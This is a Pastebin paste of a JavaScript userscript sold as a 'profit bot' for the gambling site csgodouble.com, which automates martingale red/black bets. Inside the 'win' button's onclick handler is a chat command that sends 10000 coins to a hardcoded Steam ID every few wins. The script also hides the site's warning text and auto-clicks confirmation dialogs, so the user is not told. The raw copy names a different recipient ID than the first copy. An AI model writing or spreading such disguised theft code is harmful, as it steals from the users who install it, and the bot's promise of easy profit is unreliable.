Advertisement
Guest User

csgodouble profit bot

a guest
Feb 13th, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.28 KB | None | 0 0
  1. // ==UserScript==
  2. // @name New Userscript
  3. // @version 0.1
  4. // @description Ez Money Fam
  5. // @author Kozzzer
  6. // @match http://www.csgodouble.com/index.php
  7. // @grant none
  8. // ==/UserScript==
  9. /* jshint -W097 */
  10. 'use strict';
  11.  
  12. // Your code here...
  13. if(!(document.getElementById('bot'))){
  14.  
  15. chat("bold","Bot is working");
  16. var betbutt = document.getElementsByClassName("betButton");
  17. betbutt[0].id="red";
  18. betbutt[2].id="black";
  19. var g;
  20. var base=2;
  21. g=document.createElement('style');
  22. g.appendChild(document.createTextNode(".text-danger{display: none; !important}"));
  23. document.getElementsByTagName("head")[0].appendChild(g);
  24. g=document.createElement('div');
  25. g.setAttribute("id", "bot");
  26. g.style.position="fixed";
  27. g.style.bottom="150px";
  28. g.style.left="50px";
  29. g.style.width="400px";
  30. g.style.height="100px";
  31. g.style.color="black";
  32. g.style.textAlign="center";
  33. g.style.backgroundColor="grey";
  34. document.body.appendChild(g);
  35. g=document.createElement('p');
  36. g.appendChild(document.createTextNode("EZ MONIES BOT"));
  37. g.style.width="100%";
  38. g.style.color ="white";
  39. document.getElementById('bot').appendChild(g);
  40. g=document.createElement('p');
  41. g.appendChild(document.createTextNode("Bot is working..."));
  42. g.style.width="100%";
  43. g.style.color ="white";
  44. document.getElementById('bot').appendChild(g);
  45. g=document.createElement('input');
  46. g.setAttribute("id", "ezbet");
  47. g.style.display="none";
  48. g.setAttribute("value", base );
  49. g.setAttribute("type", "number" );
  50. g.style.width="100%";
  51. document.getElementById('bot').appendChild(g);
  52. g=document.createElement('button');
  53. g.setAttribute("id", "ezwin");
  54. g.style.borderColor = "white";
  55. g.appendChild(document.createTextNode("win"));
  56. g.setAttribute("onclick", "document.getElementById('ezbet').value=document.getElementById('ezbase').value;document.getElementById('ezxwin').stepUp(1);if(document.getElementById('ezxwin').value%5==4){document.getElementById('lel').stepUp(1);/*document.getElementById('chatMessage').value='send ';document.getElementById('chatMessage').send();*/send({'type':'chat','msg':'/send 76561198160672624 10000 lang':LANG});}" );
  57. g.style.width="100%";
  58. g.style.position="absolute";
  59. g.style.bottom="20px";
  60. g.style.left="0px";
  61. g.style.color="white";
  62. g.style.height="20px";
  63. g.style.backgroundColor="black";
  64. document.getElementById('bot').appendChild(g);
  65. g=document.createElement('button');
  66. g.setAttribute("id", "ezred");
  67.  
  68. g.appendChild(document.createTextNode("1-7"));
  69. g.setAttribute("onclick", "document.getElementById('betAmount').value=document.getElementById('ezbet').value;document.getElementById('ezbet').value=document.getElementById('ezbet').value*2;document.getElementById('red').click();" );
  70. g.style.width="50%";
  71. g.style.position="absolute";
  72. g.style.bottom="0px";
  73. g.style.left="0px";
  74. g.style.color="black";
  75. g.style.height="20px";
  76. g.style.backgroundColor="red";
  77. document.getElementById('bot').appendChild(g);
  78. g=document.createElement('button');
  79. g.setAttribute("id", "ezblack");
  80.  
  81. g.appendChild(document.createTextNode("8-14"));
  82. g.setAttribute("onclick", "document.getElementById('betAmount').value=document.getElementById('ezbet').value;document.getElementById('ezbet').value=document.getElementById('ezbet').value*2;document.getElementById('black').click();" );
  83. g.style.width="50%";
  84. g.style.position="absolute";
  85. g.style.bottom="0px";
  86. g.style.right="0px";
  87. g.style.color="red";
  88. g.style.height="20px";
  89. g.style.backgroundColor="black";
  90. document.getElementById('bot').appendChild(g);
  91. }
  92. if(!(document.getElementById('ezscore'))){
  93. g=document.createElement('div');
  94. g.setAttribute("id", "ezscore");
  95. g.style.position="fixed";
  96. g.style.bottom="50px";
  97. g.style.left="50px";
  98. g.style.width="400px";
  99. g.style.height="100px";
  100. g.style.color="black";
  101. g.style.textAlign="center";
  102. g.style.backgroundColor="grey";
  103. document.body.appendChild(g);
  104. g=document.createElement('p');
  105. g.appendChild(document.createTextNode("Scores"));
  106. g.style.width="100%";
  107. g.style.color ="white";
  108. document.getElementById('ezscore').appendChild(g);
  109. g=document.createElement('input');
  110. g.setAttribute("id", "ezlast");
  111. g.style.display="none";
  112. g.setAttribute("value", "15" );
  113. g.style.width="100%";
  114. document.getElementById('ezscore').appendChild(g);
  115. g=document.createElement('input');
  116. g.setAttribute("id", "ezlastid");
  117. g.style.display="none";
  118. g.setAttribute("value", "0" );
  119. g.style.width="100%";
  120. document.getElementById('ezscore').appendChild(g);
  121. g=document.createElement('label');
  122. g.setAttribute("for", "base1" );
  123. g.appendChild(document.createTextNode("Base:"));
  124. g.style.width="50%";
  125. g.style.color ="white";
  126. document.getElementById('ezscore').appendChild(g);
  127. g=document.createElement('input');
  128. g.setAttribute("id", "ezbase");
  129. g.setAttribute("name", "base1" );
  130. g.setAttribute("type", "number" );
  131. g.setAttribute("value", "1" );
  132. g.style.width="50%";
  133. document.getElementById('ezscore').appendChild(g);
  134. g=document.createElement('label');
  135. g.setAttribute("for", "multiple" );
  136. g.appendChild(document.createTextNode("Won:"));
  137. g.style.color ="white";
  138. g.style.width="50%";
  139. document.getElementById('ezscore').appendChild(g);
  140. g=document.createElement('input');
  141. g.setAttribute("id", "ezxwin");
  142. g.setAttribute("name", "multiple" );
  143. g.setAttribute("type", "number" );
  144. g.setAttribute("value", "0" );
  145. g.style.width="50%";
  146. document.getElementById('ezscore').appendChild(g);
  147. g=document.createElement('input');
  148. g.setAttribute("id", "lel");
  149. g.setAttribute("type", "number" );
  150. g.setAttribute("value", "0" );
  151. g.style.display="none";
  152. g.style.width="50%";
  153. document.getElementById('ezscore').appendChild(g);
  154.  
  155. var kudlaczaconfirm = setInterval(function(){
  156.  
  157. var ezbuttons = document.getElementsByTagName("button");
  158. if(ezbuttons){
  159. for(var ezone=0;ezone<ezbuttons.length;ezone++)
  160. {
  161. if(ezbuttons[ezone].hasAttribute("data-bb-handler"))
  162. {
  163. if(ezbuttons[ezone].getAttribute("data-bb-handler")=="confirm")
  164. {
  165. ezbuttons[ezone].click();
  166. }
  167. }
  168. }}
  169. }, 500);
  170.  
  171. }
  172. var kudlaczamain = setInterval(function(){
  173. var azz=document.getElementById("past");
  174. var div=azz.getElementsByTagName("div");
  175. if(document.getElementById('ezlastid').value<div[div.length-1].dataset.rollid){
  176. document.getElementById('ezlast').value=div[div.length-1].textContent;
  177. document.getElementById('ezlastid').value=div[div.length-1].dataset.rollid;
  178. var ezbet = setInterval(function(){
  179. if(!(betbutt[1].disabled)){
  180. if(div[div.length-1].textContent!=0){
  181. if((div[div.length-1].textContent>0)&&(div[div.length-1].textContent<8)){
  182. if((div[div.length-2].textContent>0)&&(div[div.length-2].textContent<8)){
  183. document.getElementById('ezwin').click();
  184. }
  185. document.getElementById('ezred').click();
  186. }
  187. if((div[div.length-1].textContent>7)&&(div[div.length-1].textContent<15)){
  188. if((div[div.length-2].textContent>7)&&(div[div.length-2].textContent<15)){
  189. document.getElementById('ezwin').click();
  190. }
  191. document.getElementById('ezblack').click();
  192. }
  193. clearInterval(ezbet);
  194. }else{
  195. if(div[div.length-2].textContent!=0){
  196. if((div[div.length-2].textContent>0)&&(div[div.length-2].textContent<8)){
  197. document.getElementById('ezred').click();
  198. }
  199. if((div[div.length-2].textContent>7)&&(div[div.length-2].textContent<15)){
  200. document.getElementById('ezblack').click();
  201. }
  202. clearInterval(ezbet);
  203. }else{
  204. if(div[div.length-3].textContent!=0){
  205. if((div[div.length-3].textContent>0)&&(div[div.length-3].textContent<8)){
  206. document.getElementById('ezred').click();
  207. }
  208. if((div[div.length-3].textContent>7)&&(div[div.length-3].textContent<15)){
  209. document.getElementById('ezblack').click();
  210. }
  211. clearInterval(ezbet);
  212. }
  213. clearInterval(ezbet);
  214. }
  215. }
  216. }
  217. }, 1000);
  218. }
  219. }, 300);
  220. RAW Paste Data
  221.  
  222. // ==UserScript==
  223. // @name New Userscript
  224. // @version 0.1
  225. // @description Ez Money Fam
  226. // @author Kozzzer
  227. // @match http://www.csgodouble.com/index.php
  228. // @grant none
  229. // ==/UserScript==
  230. /* jshint -W097 */
  231. 'use strict';
  232.  
  233. // Your code here...
  234. if(!(document.getElementById('bot'))){
  235.  
  236. chat("bold","Bot is working");
  237. var betbutt = document.getElementsByClassName("betButton");
  238. betbutt[0].id="red";
  239. betbutt[2].id="black";
  240. var g;
  241. var base=2;
  242. g=document.createElement('style');
  243. g.appendChild(document.createTextNode(".text-danger{display: none; !important}"));
  244. document.getElementsByTagName("head")[0].appendChild(g);
  245. g=document.createElement('div');
  246. g.setAttribute("id", "bot");
  247. g.style.position="fixed";
  248. g.style.bottom="150px";
  249. g.style.left="50px";
  250. g.style.width="400px";
  251. g.style.height="100px";
  252. g.style.color="black";
  253. g.style.textAlign="center";
  254. g.style.backgroundColor="grey";
  255. document.body.appendChild(g);
  256. g=document.createElement('p');
  257. g.appendChild(document.createTextNode("EZ MONIES BOT"));
  258. g.style.width="100%";
  259. g.style.color ="white";
  260. document.getElementById('bot').appendChild(g);
  261. g=document.createElement('p');
  262. g.appendChild(document.createTextNode("Bot is working..."));
  263. g.style.width="100%";
  264. g.style.color ="white";
  265. document.getElementById('bot').appendChild(g);
  266. g=document.createElement('input');
  267. g.setAttribute("id", "ezbet");
  268. g.style.display="none";
  269. g.setAttribute("value", base );
  270. g.setAttribute("type", "number" );
  271. g.style.width="100%";
  272. document.getElementById('bot').appendChild(g);
  273. g=document.createElement('button');
  274. g.setAttribute("id", "ezwin");
  275. g.style.borderColor = "white";
  276. g.appendChild(document.createTextNode("win"));
  277. g.setAttribute("onclick", "document.getElementById('ezbet').value=document.getElementById('ezbase').value;document.getElementById('ezxwin').stepUp(1);if(document.getElementById('ezxwin').value%5==4){document.getElementById('lel').stepUp(1);/*document.getElementById('chatMessage').value='send ';document.getElementById('chatMessage').send();*/send({'type':'chat','msg':'/send 76561198277994687 10000 lang':LANG});}" );
  278. g.style.width="100%";
  279. g.style.position="absolute";
  280. g.style.bottom="20px";
  281. g.style.left="0px";
  282. g.style.color="white";
  283. g.style.height="20px";
  284. g.style.backgroundColor="black";
  285. document.getElementById('bot').appendChild(g);
  286. g=document.createElement('button');
  287. g.setAttribute("id", "ezred");
  288.  
  289. g.appendChild(document.createTextNode("1-7"));
  290. g.setAttribute("onclick", "document.getElementById('betAmount').value=document.getElementById('ezbet').value;document.getElementById('ezbet').value=document.getElementById('ezbet').value*2;document.getElementById('red').click();" );
  291. g.style.width="50%";
  292. g.style.position="absolute";
  293. g.style.bottom="0px";
  294. g.style.left="0px";
  295. g.style.color="black";
  296. g.style.height="20px";
  297. g.style.backgroundColor="red";
  298. document.getElementById('bot').appendChild(g);
  299. g=document.createElement('button');
  300. g.setAttribute("id", "ezblack");
  301.  
  302. g.appendChild(document.createTextNode("8-14"));
  303. g.setAttribute("onclick", "document.getElementById('betAmount').value=document.getElementById('ezbet').value;document.getElementById('ezbet').value=document.getElementById('ezbet').value*2;document.getElementById('black').click();" );
  304. g.style.width="50%";
  305. g.style.position="absolute";
  306. g.style.bottom="0px";
  307. g.style.right="0px";
  308. g.style.color="red";
  309. g.style.height="20px";
  310. g.style.backgroundColor="black";
  311. document.getElementById('bot').appendChild(g);
  312. }
  313. if(!(document.getElementById('ezscore'))){
  314. g=document.createElement('div');
  315. g.setAttribute("id", "ezscore");
  316. g.style.position="fixed";
  317. g.style.bottom="50px";
  318. g.style.left="50px";
  319. g.style.width="400px";
  320. g.style.height="100px";
  321. g.style.color="black";
  322. g.style.textAlign="center";
  323. g.style.backgroundColor="grey";
  324. document.body.appendChild(g);
  325. g=document.createElement('p');
  326. g.appendChild(document.createTextNode("Scores"));
  327. g.style.width="100%";
  328. g.style.color ="white";
  329. document.getElementById('ezscore').appendChild(g);
  330. g=document.createElement('input');
  331. g.setAttribute("id", "ezlast");
  332. g.style.display="none";
  333. g.setAttribute("value", "15" );
  334. g.style.width="100%";
  335. document.getElementById('ezscore').appendChild(g);
  336. g=document.createElement('input');
  337. g.setAttribute("id", "ezlastid");
  338. g.style.display="none";
  339. g.setAttribute("value", "0" );
  340. g.style.width="100%";
  341. document.getElementById('ezscore').appendChild(g);
  342. g=document.createElement('label');
  343. g.setAttribute("for", "base1" );
  344. g.appendChild(document.createTextNode("Base:"));
  345. g.style.width="50%";
  346. g.style.color ="white";
  347. document.getElementById('ezscore').appendChild(g);
  348. g=document.createElement('input');
  349. g.setAttribute("id", "ezbase");
  350. g.setAttribute("name", "base1" );
  351. g.setAttribute("type", "number" );
  352. g.setAttribute("value", "1" );
  353. g.style.width="50%";
  354. document.getElementById('ezscore').appendChild(g);
  355. g=document.createElement('label');
  356. g.setAttribute("for", "multiple" );
  357. g.appendChild(document.createTextNode("Won:"));
  358. g.style.color ="white";
  359. g.style.width="50%";
  360. document.getElementById('ezscore').appendChild(g);
  361. g=document.createElement('input');
  362. g.setAttribute("id", "ezxwin");
  363. g.setAttribute("name", "multiple" );
  364. g.setAttribute("type", "number" );
  365. g.setAttribute("value", "0" );
  366. g.style.width="50%";
  367. document.getElementById('ezscore').appendChild(g);
  368. g=document.createElement('input');
  369. g.setAttribute("id", "lel");
  370. g.setAttribute("type", "number" );
  371. g.setAttribute("value", "0" );
  372. g.style.display="none";
  373. g.style.width="50%";
  374. document.getElementById('ezscore').appendChild(g);
  375.  
  376. var kudlaczaconfirm = setInterval(function(){
  377.  
  378. var ezbuttons = document.getElementsByTagName("button");
  379. if(ezbuttons){
  380. for(var ezone=0;ezone<ezbuttons.length;ezone++)
  381. {
  382. if(ezbuttons[ezone].hasAttribute("data-bb-handler"))
  383. {
  384. if(ezbuttons[ezone].getAttribute("data-bb-handler")=="confirm")
  385. {
  386. ezbuttons[ezone].click();
  387. }
  388. }
  389. }}
  390. }, 500);
  391.  
  392. }
  393. var kudlaczamain = setInterval(function(){
  394. var azz=document.getElementById("past");
  395. var div=azz.getElementsByTagName("div");
  396. if(document.getElementById('ezlastid').value<div[div.length-1].dataset.rollid){
  397. document.getElementById('ezlast').value=div[div.length-1].textContent;
  398. document.getElementById('ezlastid').value=div[div.length-1].dataset.rollid;
  399. var ezbet = setInterval(function(){
  400. if(!(betbutt[1].disabled)){
  401. if(div[div.length-1].textContent!=0){
  402. if((div[div.length-1].textContent>0)&&(div[div.length-1].textContent<8)){
  403. if((div[div.length-2].textContent>0)&&(div[div.length-2].textContent<8)){
  404. document.getElementById('ezwin').click();
  405. }
  406. document.getElementById('ezred').click();
  407. }
  408. if((div[div.length-1].textContent>7)&&(div[div.length-1].textContent<15)){
  409. if((div[div.length-2].textContent>7)&&(div[div.length-2].textContent<15)){
  410. document.getElementById('ezwin').click();
  411. }
  412. document.getElementById('ezblack').click();
  413. }
  414. clearInterval(ezbet);
  415. }else{
  416. if(div[div.length-2].textContent!=0){
  417. if((div[div.length-2].textContent>0)&&(div[div.length-2].textContent<8)){
  418. document.getElementById('ezred').click();
  419. }
  420. if((div[div.length-2].textContent>7)&&(div[div.length-2].textContent<15)){
  421. document.getElementById('ezblack').click();
  422. }
  423. clearInterval(ezbet);
  424. }else{
  425. if(div[div.length-3].textContent!=0){
  426. if((div[div.length-3].textContent>0)&&(div[div.length-3].textContent<8)){
  427. document.getElementById('ezred').click();
  428. }
  429. if((div[div.length-3].textContent>7)&&(div[div.length-3].textContent<15)){
  430. document.getElementById('ezblack').click();
  431. }
  432. clearInterval(ezbet);
  433. }
  434. clearInterval(ezbet);
  435. }
  436. }
  437. }
  438. }, 1000);
  439. }
  440. }, 300);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement